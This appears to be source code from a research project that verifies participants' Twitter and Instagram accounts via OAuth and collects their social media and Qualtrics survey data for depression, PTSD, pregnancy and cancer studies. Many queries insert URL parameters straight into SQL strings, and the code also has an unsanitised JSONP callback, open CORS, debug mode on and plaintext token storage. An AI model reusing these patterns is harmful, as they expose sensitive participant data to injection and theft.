\"usernames\"\n\t\tfields = table_data.ix[ table_data.table == table, \"field\"].values\n\t\tfields_after_tableid = fields[1:]\n\t\t# INSERT OR IGNORE: http://stackoverflow.com/questions/15535355/insert-only-if-id-doesnt-exist\n\t\tquery = \"INSERT OR IGNORE INTO {table}{cols} VALUES(\".format(table=table, cols=tuple(fields_after_tableid)) + ('?,' *len(fields_after_tableid))[:-1] + \")\"\n\t\t\n\t\t# defaults\n\t\tcollected = 0\n\t\tvalidated = 0\n\t\tcollect_error = ''\n\n\t\twith conn:\n\t\t\tcur = conn.cursor()\n\t\t\tcur.execute(query,(uid, userid, username, post_ct, medium, collected, collect_error, validated)) # 'uid' is a unique index\n\t\t\tconn.commit()\n\n\t\t# store oauth creds for this user in `tokens` table\n\t\tquery = \"INSERT OR IGNORE INTO tokens (user_id, username, service, access_key, access_secret) VALUES ('{}','{}','{}','{}','{}')\".format(userid, username, medium, token, secret)\n\t\twith conn:\n\t\t\tcur = conn.cursor()\n\t\t\tcur.execute(query)\n\t\tconn.commit()\n\n\t\tlog_msgs.append('register success for user: {} [medium:{}]'.format(username,medium))\n\t\t\n\t\tutil.log(log_msgs,log_dir,full_path_included=True)\n\t\treturn final_report\n\n\texcept Exception,error:\n\t\tlog_msgs.append('Error in registering user: {}'.format(error))\n\t\tutil.log(log_msgs,log_dir,full_path_included=True)\n\t\treturn error \n\n## support_jsonp: wraps JSONified output for JSONP\n## we need this for returning values to Qualtrics - part of the CORS precautions that modern browsers implement\ndef support_jsonp(f):\n\t@wraps(f)\n\tdef decorated_function(*args, **kwargs):\n\t\tcallback = request.args.get('callback', False)\n\t\tif callback:\n\t\t\tcontent = str(callback) + '(' + str(f(*args,**kwargs).data) + ')'\n\t\t\treturn current_app.response_class(content, mimetype='application/javascript')\n\t\telse:\n\t\t\treturn f(*args, **kwargs)\n\treturn decorated_function\n\n\[email protected]('/verify2/<medium>/<uname>')\n@support_jsonp\ndef verify2(medium, uname):\n\ttry:\n\t\tmedium = medium.lower() \n\t\tconn = util.connect_db()\n\n\t\tquery = \"SELECT username FROM usernames WHERE username='{}' AND medium='{}'\".format(uname,medium)\n\t\tcur = conn.cursor()\n\t\tcur.execute(query)\n\t\trows = cur.fetchall() #fetchone?\n\t\tverified = (rows[0][0] == uname)\n\t\treturn jsonify({\"verified\":verified})\n\n\texcept Exception,e:\n\t\treturn str(e)\n\n\n## create_table: creates new db table, using parameters stored in table_data df (global)\n## this is only called directly via URI - it's not part of the verify/collect pipeline\[email protected](\"/createtable/<conn>/<table>\")\n@nocache\ndef create_table(conn, table):\n\ttry:\n\t\tif conn == \"new\": conn = util.connect_db()\n\n\t\tthis_table = table_data.ix[ table_data.table == table, :]\n\t\tthis_table.reset_index(drop=True,inplace=True)\n\n\t\tquery = \"CREATE TABLE {}(\".format(table)\n\n\t\tfor ix in xrange(this_table.shape[0]):\n\t\t\tquery = query + str(this_table.field[ix]) + \" \" + str(this_table.type[ix]) + \", \"\n\n\t\tquery = query[:-2] + \")\" # drops trailing comma, adds closing parenthesis\n\t\tdrop_command = \"DROP TABLE IF EXISTS {}\".format(table)\n\n\t\twith conn:\n\t\t\tcur = conn.cursor()\n\t\t\tcur.execute(drop_command)\n\t\t\tcur.execute(query)\n\n\t\tconn.commit()\n\t\tconn.close()\n\t\treturn query\n\texcept Exception, e:\n\t\treturn str(e)+query\n\n\n''' Called by qualtrics survey for photo raters, gets instagram photos to be rated\nselects from urls which have not been rated at least N times (currently N=3)\nupon successful completion of rating survey, N is incremented by 1 for each photo rated\nphoto urls are found in meta_ig '''\[email protected](\"/getphoto/<cond>/<kind>\")\n@nocache\ndef get_photo(kind, cond):\n\n\ttry:\n\t\tconn = util.connect_db()\n\t\tmax_ratings_ct = 3\n\t\tsample_size = 20\n\t\tquery = 'select * from photo_ratings_{}_{}'.format(cond, kind)\n\t\tdb = pd.read_sql_query(query, conn)\n\t\tgb = db.groupby('url').count()\n\t\t# we use 'rater_id' because we need to pick a column that keeps track of the groupby count. happy, sad, etc. also work\n\t\turls_to_rate = gb.ix[gb.rater_id < max_ratings_ct,'rater_id'].sample(sample_size).index.tolist()\n\t\turls = {}\n\t\tfor i,row in enumerate(urls_to_rate):\n\t\t\turls[\"url\"+str(i)] = row\n\t\treturn jsonify(urls)\n\texcept Exception,e:\n\t\treturn jsonify({\"url0\":str(e)})\n\n\[email protected](\"/addrating/<cond>/<kind>/<rater_id>/<happy>/<sad>/<likable>/<interesting>/<one_word>/<description>/<encoded_url>\", methods=['POST', 'GET', 'OPTIONS'])\n@crossdomain(origin='*')\ndef add_rating(cond,kind,rater_id,happy,sad,likable,interesting,one_word,description,encoded_url,table=\"photo_ratings\"):\n\t''' Called from Qualtrics after a user has rated a photo\n\t\t- Writes ratings data to photo_ratings db\n\t\t- Increments ratings_ct in meta_ig for that URL '''\n\n\ttstamp = datetime.datetime.now().strftime('%Y-%m-%d-%H-%M-%S')\n\ttarget_table = \"_\".join([table, cond, kind])\n\n\t''' The reason for the regex sub on url below is because Flask parses forward slash (/) \n\t\t(as well as the encoded %2F) before we can even access incoming parameter strings programmatically. \n\t\tSince we're passing it a url, it barfs when it discovers slashes in the parameter.\n\t\tSo we converted / to _____ (5 underscores) on the Qualtrics side, and we back-translate here.\n\t\t5 underscores may be overkill, but _ or even __ is not out of the question in a url...just being safe. '''\n\n\ttry:\n\n\t\turl = unquote(encoded_url).replace(\"_____\",\"/\")\n\n\t\tvalid_ratings = False if description == \"_\" else True \n\n\t\tfields = ['rater_id','happy','sad','likable','interesting','one_word','description']\n\t\tvalues = map(unquote, [rater_id, happy, sad, likable, interesting, one_word, description])\n\t\t\n\t\tlog_dir = 'ratings/{rid}__{t}.log'.format(rid=values[0],url=url,t=tstamp)\n\t\tlog_msgs = []\n\t\tlog_msgs.append('\\nStarting add_rating for photo url {} [rater id: {}]'.format(url,values[0]))\n\n\t\tconn = util.connect_db()\n\n\t\tif valid_ratings:\n\n\t\t\twith conn:\n\t\t\t\tquery1 = \"UPDATE meta_ig SET ratings_ct=ratings_ct+1 WHERE url='{}'\".format(url)\n\t\t\t\tcur = conn.cursor()\n\t\t\t\tcur.execute(query1)\n\n\t\t\t\ttry:\n\t\t\t\t\tquery2 = 'insert into {}(url, rater_id, happy, sad, likable, interesting, one_word, description) values (?,?,?,?,?,?,?,?)'.format(target_table)\n\t\t\t\t\tqvals = (url,)+tuple(values)\n\t\t\t\t\tcur.execute(query2,qvals)\n\t\t\t\texcept Exception,e:\n\t\t\t\t\treturn query2+\"__\"+str(e)\n\t\t\tconn.commit()\n\n\t\t\tlog_msgs.append('\\nRating for url: {} [rater id: {}] stored successfully!'.format(url,values[0]))\n\t\t\tutil.log(log_msgs,log_dir,full_path_included=True)\n\t\t\treturn query2\n\n\t\telse:\n\n\t\t\twith conn:\n\t\t\t\t# getting to this part of the logic branch means a user said that no photo appeared for this url\n\t\t\t\t# we flag it with the code 999 so we can review later to determine whether it really is a dead url\n\t\t\t\t# UPDATE (APR 08 2016): This is legacy code now, we /sunsetted/ the user-inputted no-photo marker\n\t\t\t\tquery1 = \"UPDATE meta_ig SET valid_url=999 WHERE url='{}'\".format(url)\n\t\t\t\tcur = conn.cursor()\n\t\t\t\tcur.execute(query1)\n\t\t\tconn.commit()\n\n\t\t\tlog_msgs.append('\\nFAILED TO LOAD url: {} [rater id: {}]'.format(url,values[0]))\n\t\t\tutil.log(log_msgs,log_dir,full_path_included=True)\n\t\t\treturn 'failed to load photo url in survey'\n\n\texcept Exception,e:\n\t\tlog_msgs.append('\\nError recording rating for url: {} [rater id: {}] [ERROR: {}]'.format(url,values[0],str(e)))\n\t\tutil.log(log_msgs,log_dir,full_path_included=True)\n\t\treturn str(e)\n\[email protected](\"/ratingsreport/<cond>/<kind>\")\ndef ratings_report(cond, kind):\n\n\ttstamp = datetime.datetime.now().strftime('%Y-%m-%d-%H-%M-%S')\n\tlog_dir = 'ratings/REPORT__{t}.log'.format(t=tstamp)\n\tlog_msgs = []\n\n\tconn = util.connect_db()\n\tmax_ratings_ct = 3\n\tsample_size = 20\n\tquery = 'select * from photo_ratings_{}_{}'.format(cond,kind)\n\tdb = pd.read_sql_query(query, conn)\n\tgb = db.groupby('url').count()\n\tlog_msgs = ['Photos in {}-{} with NO ratings: {}'.format(cond, kind, np.sum(gb['rater_id'] == 0))]\n\tmax_ratings_on_record = 12\n\tfor i in range(max_ratings_on_record):\n\t ct = np.sum(gb['rater_id'] > i)\n\t log_msgs.append('Photos with more than {} ratings: {}'.format(i,ct))\n\n\ttry:\n\t\tutil.log(log_msgs,log_dir,full_path_included=True)\n\t\treturn '<br />'.join(log_msgs)\n\texcept Exception,e:\n\t\treturn str(e)\n\[email protected](\"/oauth/<medium>/<username>\")\ndef get_auth(medium,username):\n\ttry:\n\t\tconn = util.connect_db()\n\t\tcallback = acquire_url_base+'?medium={}&username={}'.format(medium,username)\n\n\t\ttokens = util.get_tokens(conn, medium)\n\n\t\tif medium == \"twitter\":\n\n\t\t\tsession['APP_KEY'] = tokens[0]\n\t\t\tsession['APP_SECRET'] = tokens[1]\n\n\t\t\ttwitter = Twython(session['APP_KEY'], session['APP_SECRET'])\n\n\t\t\t\n\t\t\tauth = twitter.get_authentication_tokens(callback_url=callback)\n\n\t\t\tsession['OAUTH_TOKEN'] = auth['oauth_token']\n\t\t\tsession['OAUTH_TOKEN_SECRET'] = auth['oauth_token_secret']\n\n\t\t\treturn redirect(auth['auth_url'])\n\n\t\telif medium == \"instagram\":\n\t\t\tCONFIG = {\n\t\t\t'client_id': tokens[2],\n\t\t\t'client_secret': tokens[3],\n\t\t\t'redirect_uri': callback\n\t\t\t}\n\n\t\t\tapi = InstagramAPI(**CONFIG)\n\t\t\t\n\t\t\tsession['APP_KEY'] = tokens[2]\n\t\t\tsession['APP_SECRET'] = tokens[3]\n\n\t\t\turl = api.get_authorize_url(scope=[\"basic\"])\n\n\t\t\treturn redirect(url)\n\n\texcept Exception, e:\n\t\treturn str(e)\n\[email protected](\"/acquire\")\ndef acquire():\n\n\ttry:\n\t\talleged_user = request.args.get('username')\n\t\tmedium = request.args.get('medium')\n\t\toauth_url = oauth_url_base+'{}/{}'.format(medium, alleged_user)\n\texcept Exception,e:\n\t\treturn \"Could not access request.args.get [ERROR: {}]\".format(str(e))\n\n\ttry:\n\t\tif medium == \"twitter\":\n\t\t\toauth_verifier = request.args.get('oauth_verifier')\n\n\t\t\ttwitter = Twython(session['APP_KEY'], session['APP_SECRET'],\n\t\t\t\t\t\t session['OAUTH_TOKEN'], session['OAUTH_TOKEN_SECRET'])\n\n\t\t\tfinal_step = twitter.get_authorized_tokens(oauth_verifier)\n\n\t\t\tOAUTH_TOKEN = final_step['oauth_token']\n\t\t\tOAUTH_TOKEN_SECRET = final_step['oauth_token_secret']\n\n\t\t\ttwitter2 = Twython(session['APP_KEY'], session['APP_SECRET'],\n\t\t\t\t\t\t OAUTH_TOKEN, OAUTH_TOKEN_SECRET)\n\n\t\t\tucreds = twitter2.verify_credentials()\n\t\t\tusername = ucreds[\"screen_name\"]\n\t\t\tuserid = ucreds[\"id_str\"]\n\t\t\tpost_ct = ucreds[\"statuses_count\"]\n\n\t\telif medium == \"instagram\":\n\t\t\ttry:\n\t\t\t\tcallback = acquire_url_base+'?medium={}&username={}'.format(medium,alleged_user)\n\t\t\t\tCONFIG = {\n\t\t\t\t\t'client_id': session['APP_KEY'], \n\t\t\t\t\t'client_secret': session['APP_SECRET'],\n\t\t\t\t\t'redirect_uri': callback\n\t\t\t\t}\n\n\t\t\t\tapi = InstagramAPI(**CONFIG)\n\n\t\t\t\tcode = request.args.get('code')\n\n\t\t\t\tif code:\n\n\n\t\t\t\t\taccess_token, user_info = api.exchange_code_for_access_token(code)\n\t\t\t\t\tif not access_token:\n\t\t\t\t\t\treturn 'Could not get access token'\n\n\t\t\t\t\t# Sessions are used to keep this data \n\t\t\t\t\tOAUTH_TOKEN = access_token\n\n\t\t\t\t\tapi = InstagramAPI(access_token=access_token, client_secret=CONFIG['client_secret'])\n\t\t\t\t\tuserid = user_info['id'] \n\t\t\t\t\tusername = user_info['username'] \t\n\t\t\t\t\tpost_ct = api.user().counts['media']\n\t\t\t\telse:\n\t\t\t\t\treturn \"Uhoh no code provided\"\n\t\t\texcept Exception,e:\n\t\t\t\treturn \"Error in acquire step 1: \"+str(e)\n\n\t\ttry:\n\t\t\t\n\t\t\tif username == alleged_user:\n\t\t\t\tunique_id = np.random.randint(1e10)\n\t\t\t\tconn = util.connect_db()\n\n\t\t\t\tif medium==\"twitter\":\n\t\t\t\t\tregister_user(medium, userid, username, unique_id, post_ct, conn, OAUTH_TOKEN, OAUTH_TOKEN_SECRET)\n\t\t\t\telif medium==\"instagram\":\n\t\t\t\t\tregister_user(medium, userid, username, unique_id, post_ct, conn, OAUTH_TOKEN,'')\n\n\t\t\t\treturn '<span style=\"font-size:24pt;color:green;\">USERNAME {} CONFIRMED!</span>'.format(username)\n\n\t\t\telse:\n\t\t\t\treturn 'The username you just used to grant access to this app (<b>{actual}</b>) is not the same username you provided in the study survey (<b>{alleged}</b>). <br />Please go back to <a href=\"{oauth}\">the app authorization page</a> and make sure you are logged in as the correct user, and try again. <br />(You may need to log out of your account first in a separate window.)'.format(actual=username,alleged=alleged_user,oauth=oauth_url)\n\t\texcept Exception,e:\n\t\t\treturn \"Error in acquire step 2:\"+str(e)\n\n\texcept Exception,e:\n\t\treturn 'There was an error, please go back to {} and retry. [ERROR: {}]'#.format(oauth_url,str(e))\n\n\[email protected](\"/ping\")\ndef ping():\n\t''' For keeping server alive and responsive, runs once an hour on cron '''\n\treturn \"ping ok\"\n\t\[email protected](\"/testoauth/<medium>/<username>\")\ndef test_oauth(medium, username):\n\treturn 'For testing only.'\n\n\napp.secret_key = os.environ.get(\"SECRET_KEY\")\n\n## run flask\nif __name__ == '__main__':\n\t\n\tapp.run(host='127.0.0.1',port=12340, \n\t\tdebug = True, ssl_context=context)\n\n## setting default values for optional paths:\n## http://stackoverflow.com/questions/14032066/flask-optional-url-parameters\n" }, { "alpha_fraction": 0.6652532815933228, "alphanum_fraction": 0.6734471917152405, "avg_line_length": 36.28418731689453, "blob_id": "4a74cb66e0a008044f9cd47f791dce2d640d312f", "content_id": "55c571958f9b76d1fa255014bc665a8ba1fc918e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 17452, "license_type": "no_license", "max_line_length": 222, "num_lines": 468, "path": "/cron.py", "repo_name": "minaksheeshukla/predicthealth", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport numpy as np \nimport re, datetime, os\nfrom dateutil import parser\nfrom os.path import join, dirname\nfrom dotenv import load_dotenv\n\nfrom twython import Twython, TwythonError\nfrom instagram.client import InstagramAPI\n\nimport util \nfrom collect import collect_instagram, collect_twitter\n\ndotenv_path = join(dirname(__file__), '.env')\nload_dotenv(dotenv_path)\n\ndata_head = os.environ.get(\"DATA_PATH\")\n\n\ndef collect(conn, test=False, max_collect=10):\n\t''' Collects social media record of validated study participants.\n\t\t- checks for uncollected participant data\n\t\t- scrapes, caches, extracts features and writes to db tables\n\t\t- note: this should run as a cron job every 15 minutes, but Dreamhost cron is weird. So we usually run manually. '''\n\n\t# gets table name / field / datatype for all tables as a Pandas data frame\n\ttable_data = util.get_table_data()\n\n\tlog_msgs = []\n\tlog_msgs.append('Starting collect\\n')\n\n\ttry:\n\t\tquery = \"SELECT username, user_id, uid, medium FROM usernames WHERE collected=0 AND validated=1 LIMIT {}\".format(max_collect)\n\t\tcur = conn.cursor()\n\t\tcur.execute(query)\n\t\trows = cur.fetchall()\n\n\t\tfor row in rows:\n\n\t\t\tusername, user_id, unique_id, medium = row\n\t\t\tlog_msgs.append('Collect for {} user: {} [ID: {}]'.format(medium, username, user_id))\n\n\t\t\tCONSUMER_KEY, CONSUMER_SECRET, ACCESS_TOKEN, ACCESS_SECRET = util.get_tokens(conn, medium, username)\n\n\t\t\tif medium == \"twitter\": # big thanks to Andy Reagan here: https://github.com/andyreagan/tweet-stealing\n\t\t\t\t\n\t\t\t\ttwitter = Twython(CONSUMER_KEY, CONSUMER_SECRET, ACCESS_TOKEN, ACCESS_SECRET)\n\t\t\t\tcollect_twitter(twitter, username, unique_id, conn, table_data)\n\n\t\t\telif medium == \"instagram\":\n\n\t\t\t\tinstagram = InstagramAPI(access_token=ACCESS_TOKEN, client_secret=CONSUMER_SECRET)\n\t\t\t\t\n\t\t\t\tcollect_instagram(instagram, username, unique_id, conn, table_data)\n\t\tlog_msgs.append('Collect log completed without top-level errors (check individual logs for per-basis errors).')\n\n\texcept Exception, error:\n\t\tlog_msgs.append('Collect error: {}'.format(str(error)))\n\n\tlog_dir = 'collect/batch/'\n\n\tfor msg in log_msgs:\n\t\tprint msg\n\t\t\n\tutil.log(log_msgs,log_dir)\n\n\ndef get_qualtrics_survey_ids(conn, surveys, table_name='qualtrics_surveys'):\n\tconditions = []\n\tsurvey_set = \"('\" + \"','\".join(surveys) + \"')\"\n\tquery = 'select name, id, condition from {} where name in {}'.format(table_name, survey_set)\n\tcur = conn.cursor()\n\tcur.execute(query)\n\trows = cur.fetchall()\n\tfor r in rows:\n\t\tconditions.append( {\"name\":r[0], \"id\":r[1], \"condition\":r[2]})\n\treturn conditions\n\n\ndef get_qualtrics_survey_data(start_after, start_str, condition, user_id, api_token):\n\t''' Uses Qualtrics API to pull down raw survey data '''\n\n\t# start_after_id is a marker, we start collecting surveys submitted after this entry\n\tstart_after_id = start_after.id[start_after.condition==condition[\"name\"]].values\n\tstart_after_id = start_after_id[0]\n\n\tif start_after_id[0]==start_str:\n\t\tlastresponse_param = \"LastResponseID={lastresponse}&\".format(lastresponse=start_after_id)\n\telse:\n\t\tlastresponse_param = \"\"\n\t\t\n\tqualtrics_url = (\"\"\"https://survey.qualtrics.com/WRAPI/ControlPanel/api.php?\n\t\t\t\t\t Request=getLegacyResponseData&\n\t\t\t\t\t User={userid}&\n\t\t\t\t\t Token={token}&\n\t\t\t\t\t Format=CSV&\n\t\t\t\t\t Version=2.5&\n\t\t\t\t\t Labels=1&\n\t\t\t\t\t ExportTags=1&\n\t\t\t\t\t {lastresponse_param}\n\t\t\t\t\t SurveyID={surveyid}\"\"\"\n\t\t\t\t\t .format(userid=user_id,\n\t\t\t\t\t\t\t token=api_token,\n\t\t\t\t\t\t\t lastresponse_param=lastresponse_param,\n\t\t\t\t\t\t\t surveyid=condition[\"id\"]\n\t\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t# formatted api url for readability, but we have to smush it back together before calling\n\tqualtrics_url = \"\".join(qualtrics_url.split()) \n\ttry:\n\n\t\tdata = pd.read_csv(qualtrics_url)\n\texcept Exception, e:\n\t\tprint 'url:', qualtrics_url\n\t\tprint str(e)\n\n\t# drop first row, which contains verbose column descriptions\n\tdata.drop(0,0,inplace=True)\t\n\n\treturn data\n\n\ndef clean_qualtrics_data(data, condition):\n\t''' Takes raw Qualtrics survey data, adjusts column names, drops unnecessary fields '''\n\n\t# filter qualtrics variables that we don't need (we negate matches on this filter)\n\tfilter_keywords = [\"time_.+[124]\",\"SC0_[12]\",\"SC1_[12]\",\"suspected\",\"email_address\",\n\t\t\t\t\t \"qualified\",\"notes\",\"base_pay\",\"bonus_pay\",\"active\",\"know_date\",\n\t\t\t\t\t \"platform_uppercase\",\"share\",\"m_[124]\",\"t_[124]\",\"validated\",\"folw\",\n\t\t\t\t\t \"diagnosis\",\"condition\",\"study_username\",\"handle\",\"medium\",\"been_diag\",\n\t\t\t\t\t \"criteria\",\"agree\",\"location\",\"^cesd_\",\"^tsq\",\"recruitment\",\"follow\",\n\t\t\t\t\t \"v[2345678]\",\"unnamed\",\"consent\",\"cst\",\"increment_quota\",\"checkpoint\"]\n\n\tp = re.compile('|'.join(filter_keywords), flags=re.IGNORECASE)\t\t\t\t\n\t# rename qualtrics columns to database fields\n\tupdated={\"unique_id\":\"uid\",\n\t\t\t \"V10\":\"qualtrics_complete\",\n\t\t\t \"V9\":\"time_finished\",\n\t\t\t \"SC0_0\":\"tsq\" if condition[\"condition\"] == \"ptsd\" else \"cesd\",\n\t\t\t \"age_check\":\"year_born\",\n\t\t\t \"diag_date#1_1\":\"diag_month\",\n\t\t\t \"diag_date#2_1\":\"diag_day\",\n\t\t\t \"diag_date#3_1\":\"diag_year\",\n\t\t\t \"event_date#1_1\":\"event_month\",\n\t\t\t \"event_date#2_1\":\"event_day\",\n\t\t\t \"event_date#3_1\":\"event_year\",\n\t\t\t \"conceived#1_1\":\"conceived_month\",\n\t\t\t \"conceived#2_1\":\"conceived_day\",\n\t\t\t \"conceived#3_1\":\"conceived_year\",\n\t\t\t \"suspect_ct\":\"days_suspected\",\n\t\t\t \"time_cesd_3\":\"timer_cesd\",\n\t\t\t \"uname_ig\":\"username_ig\",\n\t\t\t \"uname_tw\":\"username_tw\",\n\t\t\t \"\\xef\\xbb\\xbfV1\":\"response_id\",\n\t\t\t \"V1\":\"response_id\",\n\t\t\t \"email\":\"email_address\" # this is kind of silly but you named the wrong variable in the db tables\n\t\t\t}\n\t# filter out unused qualtrics columns \n\tdrop_cols = data.filter(regex=p).columns\n\tdata.drop(drop_cols,1,inplace=True)\n\t# apply \"updated\" name conversion\n\tdata.columns = [updated[col] if col in updated.keys() else col for col in data.columns]\n\n\tif (\"username_tw\" in data.columns) and (data.username_tw is not None):\n\t\tdata['username'] = data.username_tw\n\telif (\"username_ig\" in data.columns) and (data.username_ig is not None):\n\t\tdata['username'] = data.username_ig \n\n\t# consolidate all possible username fields into two (one for insta, one for twitter)\n\t#data[\"username_ig\"] = data[\"username_ig_mturk\"]\n\ttry:\n\t\tdata[\"share_time_tw\"] = data[\"share_time_3\"]\n\texcept:\n\t\tpass\n\n\t# drop extra username fields\n\textra_fields = [\"timer_follow_ig_twitter\",\"timer_follow_ig_mturk\",\"timer_follow_tw_twitter\",\"timer_follow_tw_mturk\",\"username_ig_mturk\",\"username_ig_twitter\",\"username_tw_mturk\",\"username_tw_twitter\"]\n\tfor field in extra_fields:\n\t\ttry:\n\t\t\tdata.drop(field,1,inplace=True)\n\t\texcept:\n\t\t\tpass\n\ndef get_uid(uname, conn):\n\n\tquery = \"select uid from usernames where username='{}'\".format(uname)\n\twith conn:\n\t\tcur = conn.cursor()\n\t\tcur.execute(query)\n\ttry: \n\t\treturn cur.fetchone()[0]\n\texcept Exception,e:\n\t\treturn ''\n\ndef write_data_to_study_db(conn, data, condition, start_after):\n\t''' Writes cleaned survey data to SQLite study-specific databases '''\n\tprint \"Running write_data_to_study_db for {} (start after id:{})\".format(condition[\"condition\"].upper(), start_after.ix[start_after.condition==condition[\"name\"],\"id\"].values)\n\n\tuid_unames = data.username.apply(get_uid, args=(conn,)) \n\tdata['uid_usernames'] = uid_unames if uid_unames is not None else ''\n\n\tfields = tuple(data.columns)\n\tvals = [tuple(row) for row in data.values]\n\tif condition[\"condition\"] != \"control\":\n\t\ttry:\n\t\t\t# we convert month string into zero-padded integer\n\t\t\tmonth_dict = {'February': '02', 'October': '10', 'March': '03', 'August': '08', 'May': '05', 'January': '01', 'June': '06', 'September': '09', 'April': '04', 'December': '12', 'July': '07', 'November': '11'}\n\t\t\tdata['diag_month'].fillna('',inplace=True)\n\t\t\tdata['diag_monthnum'] = [month_dict[mon] if mon != '' else None for mon in data['diag_month']]\n\t\texcept Exception,e:\n\t\t\tprint 'problem with monthnum conversion ({})'.format(condition['name'])\n\t\t\tprint str(e)\n\n\tquery = \"INSERT OR IGNORE INTO {table}{cols} VALUES(\".format(table=condition[\"condition\"],cols=fields)\n\tquery += ('?,' *len(fields))[:-1] + \")\"\t\t\t\t\n\ttry:\n\t\twith conn:\n\t\t\tcur = conn.cursor()\n\t\t\tcur.executemany(query, vals)\n\t\tconn.commit()\t\t\t\n\t\t# get most recent response_id, then update start_after data\n\t\tmost_recent = data.response_id.values[-1]\n\t\tstart_after.ix[start_after.condition==condition[\"name\"],\"id\"] = most_recent\n\texcept Exception,error:\n\t\tstart_after.ix[start_after.condition==condition[\"name\"],\"id\"] = error \n\n\treturn start_after \n\n\ndef update_validated_usernames(conn, data, condition, log_msgs, post_threshold=5):\n\t''' Updates `usernames` table with validated status (0/1) of participants, based on total_posts '''\n\n\tct = 0\n\tswitched = []\n\n\tfor i,row in data.iterrows():\n\t\ttry:\n\t\t\tmedium = row.platform\n\t\t\tif medium == \"twitter\":\n\t\t\t\tuname = row.username_tw\n\t\t\telif medium == \"instagram\":\n\t\t\t\tuname = row.username_ig\n\n\t\t\tquery = \"SELECT total_posts, validated FROM usernames WHERE username='{}' AND medium='{}'\".format(uname,medium)\n\t\t\twith conn:\n\t\t\t\tcur = conn.cursor()\n\t\t\t\tcur.execute(query)\n\t\t\t\tr = cur.fetchall()\n\t\t\t# testing\n\t\t\t# print 'this is r:'\n\t\t\t# print r\n\t\t\ttotal_posts, valid_status = r[0]\n\t\t\tprint 'username: {} | posts: {} | validated: {}'.format(uname, total_posts, valid_status)\n\n\t\t\tif (int(row.qualtrics_complete)==1) and isinstance(uname,str) and (valid_status!=1):\n\t\t\t\tif total_posts > post_threshold:\n\t\t\t\t\tlog_msgs.append('VALIDATED: {cond} {wid} {rid} {name}'.format(cond=condition['name'], wid=row.workerId, rid=row.response_id, name=uname))\n\t\t\t\t\tswitched.append(uname)\n\t\t\t\t\tct +=1\n\t\t\t\t\tquery = \"UPDATE usernames SET valid_{}='{}', validated=1 WHERE username='{}' AND medium='{}'\".format(condition['condition'],row.response_id,uname,medium)\n\t\t\t\t\twith conn:\n\t\t\t\t\t\tcur = conn.cursor()\n\t\t\t\t\t\tcur.execute(query)\n\t\t\t\t\tconn.commit()\n\t\t\t\telse:\n\t\t\t\t\tlog_msgs.append('INVALIDATED: NOT ENOUGH POSTS: {cond} {wid} {rid} {name}'.format(cond=condition['name'], wid=row.workerId, rid=row.response_id, name=uname))\n\t\t\t\t\tquery = \"UPDATE usernames SET valid_{}='{}', validated=0, collect_error='Not enough posts' WHERE username='{}' AND medium='{}'\".format(condition['condition'],row.response_id,uname,medium)\n\t\t\t\t\twith conn:\n\t\t\t\t\t\tcur = conn.cursor()\n\t\t\t\t\t\tcur.execute(query)\n\t\t\t\t\tconn.commit()\n\t\texcept Exception, e:\n\t\t\tprint \"ERROR: update_validated_usernames, write to db block\"\n\t\t\tprint str(e)\n\t\t\tpass\n\n\tif ct > 0:\n\t\tswitched_str = \"(\" + ','.join(switched) + \")\"\n\t\tlog_msgs.append('Switched {} usernames to Validated (ready for collect): [{}]'.format(ct, switched_str))\n\telse:\n\t\tlog_msgs.append('No new data to add for {}'.format(condition['name']))\n\n\ndef add_survey_data(conn, control=False, test=False, beginning_of_start_after_id_string='R'):\n\t''' Pulls down survey data via Qualtrics API, cleans, stores to SQLite database '''\n\n\tif test:\n\t\tsurveys = ['test_pregnancy',\n\t\t\t\t 'test_depression']\n\telif control:\n\t\tsurveys = ['control_twitter',\n\t\t\t\t 'control_instagram']\n\telse:\n\t\tsurveys = ['pregnancy_twitter',\n\t\t\t\t 'depression_twitter',\n\t\t\t\t 'cancer_twitter',\n\t\t\t\t 'ptsd_twitter',\n\t\t\t\t 'pregnancy_instagram',\n\t\t\t\t 'depression_instagram',\n\t\t\t\t 'cancer_instagram',\n\t\t\t\t 'ptsd_instagram',\n\t\t\t\t 'control_twitter',\n\t\t\t\t 'control_instagram']\n\n\tnew_data = False\n\t\n\tconditions = get_qualtrics_survey_ids(conn, surveys)\n\t# Qualtrics credentials\n\t_,_, user_id, api_token = util.get_tokens(conn, \"qualtrics\")\n\n\t# this CSV keeps track of the last survey response ID we've recorded, that's where we start pulling from qualtrics\n\tstart_after_fname = \"survey/TEST__most_recent_ids.csv\" if test else \"survey/most_recent_ids.csv\"\n\tstart_after_url = data_head + start_after_fname\n\tstart_after = pd.read_csv(start_after_url)\n\t\n\tlog_msgs = []\n\n\tfor condition in conditions:\n\t\t\n\t\tlog_msgs.append('\\nStarting add survey data for survey: {}'.format(condition['name']))\n\t\t\n\t\t# get CSV of survey responses from Qualtrics API call\n\t\tdata = get_qualtrics_survey_data(start_after, beginning_of_start_after_id_string, condition, user_id, api_token)\n\t\t\n\t\t# testing\n\t\t#print 'DATA: {}'.format(condition['name'])\n\t\t#print\n\t\t#print data.shape \n\t\t#print data\n\t\t#print\n\t\t#print \n\t\tif data.shape[0] > 0: # if there are new entries, record to SQL\n\t\t\tnew_data = True\t\t\t\n\t\t\tclean_qualtrics_data(data, condition)\n\t\t\twrite_data_to_study_db(conn, data, condition, start_after)\n\t\t\tupdate_validated_usernames(conn, data, condition, log_msgs)\n\t\t\t\n\t# write updated start_after data to csv \n\tstart_after.to_csv(start_after_url, index=False)\n\n\tif new_data:\n\t\tlog_msgs.append(\"Survey data added successfully.\")\n\telse:\n\t\tlog_msgs.append(\"No new data to add.\")\n\n\tlog_dir = 'addsurveydata/'\n\tif test:\n\t\tlog_dir = 'test/' + log_dir\n\n\tfor msg in log_msgs:\n\t\tprint msg \n\n\tutil.log(log_msgs, log_dir)\n\n\ndef add_monthnum(conn):\n\t''' fixes existing database entries from qualtrics where month is string instead of a zero-padded integer '''\n\n\tmonths = [('January','01'),('February','02'),('March','03'),('April','04'),('May','05'),('June','06'),('July','07'),('August','08'),('September','09'),('October','10'),('November','11'),('December','12')]\n\tmonth_dict = {k:v for k,v in months}\n\tconditions = ['pregnancy','cancer','ptsd','depression']\n\tfor condition in conditions:\n\t\tquery = 'select uid, diag_month from {} where diag_month is not null and diag_monthnum is null'.format(condition)\n\t\twith conn:\n\t\t\tcur = conn.cursor()\n\t\t\tcur.execute(query)\n\t\t\trows = cur.fetchall()\n\t\tparams = []\n\t\tct = 0\n\t\tfor row in 